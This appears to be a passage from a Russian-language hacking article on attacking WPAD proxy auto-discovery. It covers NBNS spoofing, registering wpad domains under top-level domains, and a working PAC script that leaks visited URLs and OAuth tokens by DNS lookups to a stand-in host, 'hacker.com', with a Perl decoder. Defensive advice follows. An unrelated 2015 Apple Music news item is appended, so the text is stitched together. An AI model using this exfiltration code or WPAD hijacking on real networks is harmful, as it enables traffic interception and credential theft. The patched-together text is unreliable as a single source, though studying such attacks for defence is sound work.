Помимо FindProxyForURL, в PAC-скрипте доступны различные вспомогательные функции для более гибкой настройки. С их помощью можно, например, указать, что браузер должен открывать google.com с трех до четырех часов в субботу через proxy1.com, весь день в воскресенье — через proxy2.com, а в другое время — вообще ходить напрямую, без прокси-сервера.

Адрес PAC-скрипта можно прописать в настройках прокси браузера в явном виде — например, в Firefox это можно сделать в пункте настроек под названием «URL автоматической настройки сервиса прокси». Однако администратору сети вряд ли захочется прописывать настройки для всех браузеров каждого клиента вручную. Гораздо удобнее воспользоваться для этого WPAD.

Как работает WPAD

Первым делом WPAD пытается найти PAC-скрипт с помощью опции от DHCP-сервера (однако такая возможность практически не поддерживается браузерами), а затем отправляет HTTP-запрос на http://wpad.%domain%/wpad.dat и скачивает полученный файл. При этом в различных операционных системах поиск файла wpad.dat будет происходить по-разному.

Предположим, из настроек DHCP мы узнали, что имя домена — msk.office.work. Тогда Windows XP попытается найти его на wpad.msk.office.work (резолвинг домена будет происходить через DNS), а потом просто на wpad.office.work.

Рис. 1. Запросы, которые делает Windows XP

Windows 7 ведет себя по-другому: сначала по DNS проверяет полный домен, потом пытается зарезолвить имя WPAD через Link-Local Multicast Name Resolution, а затем — с помощью NetBIOS Name Service. Последние два являются широковещательными протоколами, которые поддерживаются Windows начиная с Vista.

Рис. 2. Запросы, которые делает Windows 7

Использование в локальной сети

Представим себя на месте злоумышленника, который хочет пустить весь локальный трафик через свой прокси-сервер. Если мы находимся в том же сегменте локальной сети и можем использовать NetBIOS, то можно воспользоваться готовым NBNS-спуфером из Metasploit.

Рис. 3. NBNS-спуфинг в локальной сети

Если же мы находимся в другой подсети, но в нашей сети есть WINS-сервер, мы можем поднять Windows-хост с именем WPAD, чтобы WINS распространил информацию о нас. Этот кейс вполне рабочий: я тестировал его в достаточно крупной локальной сети одного вуза, и на хост, находящийся в сети даже меньше /24, начали приходить запросы с сотен различных IP.

Использование в интернете

В настоящее время существует 861 домен первого уровня. Помимо привычных .com, .net, .ru, .org, среди них встречаются и более экзотические — от .work и .school до .ninja и .vodka. Имена этих доменов вполне могут быть прописаны в опции domain-name DHCP-серверов. Таким образом, если в domain-name будет указан домен .school и мы зарегистрируем домен wpad.school, то все запросы за WPAD-файлом попадут к нам. Причем, если посмотреть на wpad.TLD доменов первого уровня, мы увидим следующую картину (рис. 4).

Рис. 4. Свободные для регистрации домены WPAD

Пару лет назад я регистрировал домен wpad.co, на который действительно начали приходить многочисленные запросы за файлом wpad.dat. Но есть и более свежие свидетельства возможности перехватить то, что нам не предназначалось: месяц назад я зарегистрировал домен wpad.work. За 11 дней к нему обратились с 3901 уникального IP.

Рис. 5. Количество обращений к wpad.work: динамика по дням недели

Profit?

Итак, мы заставили пользователей ходить через подконтрольный нам прокси-сервер. Что это нам дает? В случае HTTP-запросов — полный контроль над трафиком: заголовками и телом запроса и ответа, всеми параметрами, cookies, данными сабмитов форм и так далее.

Рис. 6. HTTP-запрос через прокси-сервер

В случае с HTTPS мы увидим только метод CONNECT. Максимум доступной нам информации — хост и user-agent. К сожалению, самое интересное, то есть данные обмена между клиентом и сервером после handshake, для нас будет выглядеть лишь как набор бинарных данных.

Рис. 7. HTTPS-запрос через прокси-сервер

Back to PAC

Несмотря на то что PAC-скрипт написан на JavaScript, в нем недоступны объекты window, document, не получится вывести пользователю alert (он будет отображен только в логах браузера). Тем не менее даже в этой урезанной версии есть свои приятные функции.

Рис. 8. JavaScript-функции, доступные из PAC-скрипта

Одна из них — isResolvable — проверяет, возможно ли разрешить доменное имя в IP-адрес. Работает это так:

if (isResolvable(host))      return "PROXY proxy.com:8080";

Что нам может дать использование этой функции? Чтобы ответить на этот вопрос, сначала разберемся, что именно передается в функцию FindProxyForURL в аргументе URL. Оказывается, это зависит от браузера: Chrome передает схему, хост, запрос (GET-параметры), а вот Firefox вдобавок еще и фрагмент (location.hash). Например, URL http://mail.ru/?a=123#token=secret обработается следующим образом (см. рис. 9 и 10).

Рис. 9. Вызов FindProxyForURL в Chrome

Рис. 10. Вызов FindProxyForURL в Firefox

Независимо от того, какой браузер используется, у нас есть полный URL. Попытаемся, используя функцию isResolvable, перехватить URL. Для этого закодируем URL таким образом, чтобы он был валидным именем хоста, и допишем d.wpad.work, в NS-записи которого прописан наш DNS-сервер, где мы же отвечаем на все запросы и логируем их.

Итак, с помощью нехитрых преобразований:

function encode(str) {      r = str.toLowerCase()          .replace(/([^a-z1-9])/g, function(m) {              return "0" + m.charCodeAt(0)          })          .replace(/([^\.]{60})(.)/g, '$1.$2')          .substr(0, 240);      return r + (r.slice(-1) != "." ? "." : "") + "hacker.com";  }    function FindProxyForURL(url, host) {      var u = encode(url);      return isResolvable(u) ? "DIRECT" : "DIRECT";  }

Наш тестовый URL https://example.ru/?token=123 превращается в
https058047047example046ru047063token061123.hacker.com, из которого можно достать исходную строку, например вот таким однострочником на Perl:

echo 'https058047047example046ru047063token061123.hacker.com' \
| perl -lape 's/.hacker.com$//; s/.//g; s/0(..)/chr($1)/eg;'

Не секрет, что в фрагменте URL (location.hash) часто передаются OAuth-токены. Таким образом, в случае использования Firefox к нам в руки могут попасть и они.

Итоги

С помощью WPAD можно, невзирая на HTTPS, перехватывать локальный трафик, токены OAuth и другую информацию из URL. То же можно сделать и в сети Интернет, зарегистрировав домен wpad.LTD и попробовав поймать случайных жертв на эту ловушку.

Теперь, используя имеющиеся у нас знания, посмотрим, как защититься от потенциальных атак с помощью WPAD. Ниже — основные рекомендации, выполнение которых позволит обезопасить свой трафик:

  • Не использовать «чужие» домены. Обычно советуют при отсутствии своего домена использовать .local, но я бы не рекомендовал этого делать, поскольку злоумышленник сможет совершить атаку через broadcast-резолверы, которые используют тот же домен, в частности Bonjour. Оптимально использовать зарегистрированное тобой доменное имя, и даже необязательно делать его разрешимым снаружи.
  • Резервировать адреса wpad в доменных зонах.
  • Отключить автоматическое определение настроек в настройках всех браузеров (для IE и Chrome это можно сделать через доменные политики).

понедельник, 8 июня 2015 г.

Apple анонсировала музыкальный стриминговый сервис Apple Music

Apple анонсировала музыкальный стриминговый сервис Apple Music

Управлять наполнением Apple Music будут «ведущие музыкальные эксперты». Компания обещает, что алгоритм системы подберет для пользователя музыку, точно подходящую для нужного момента его жизни.

Apple Music заменит стандартное приложение проигрывателя в iOS, поиск теперь будет включать в себя результаты не только из библиотеки пользователя, но и из iTunes. В приложении также будут доступны плейлисты от профессиональных музыкантов.

В сервисе появится круглосуточное радио Beats One, которым займется номинант «Грэмми», популярный британский диджей Зейн Лоу. На старте радио появится для трех городов (Нью-Йорка, Лос-Анджелеса и Лондона), для него будут запущены специальные радиошоу.

Кроме того, в Apple Music будет доступна функция Connect для общения исполнителей с фанатами. На странице исполнителя будет собираться вся информация из его социальных сетей или других официальных источников, а пользователи смогут их комментировать.

Как и другие стриминговые сервисы, Apple Music предлагает рекомендации для пользователя — для этого нужно будет выбрать любимые жанры.

Кроме музыки, в Apple Music доступны видеоклипы.

Apple Musiс будет запущен в «более чем 100 странах» для iPhone, iPad, iPod и PC 30 июня, версии для Apple TV и Android появятся осенью 2015 года. Стоимость сервиса составит $9,99 в месяц, «семейный» тариф для 6 и менее человек будет доступен по цене $14.99 в месяц. Первые три месяца пользователи получат бесплатно.



Sent from my iPhone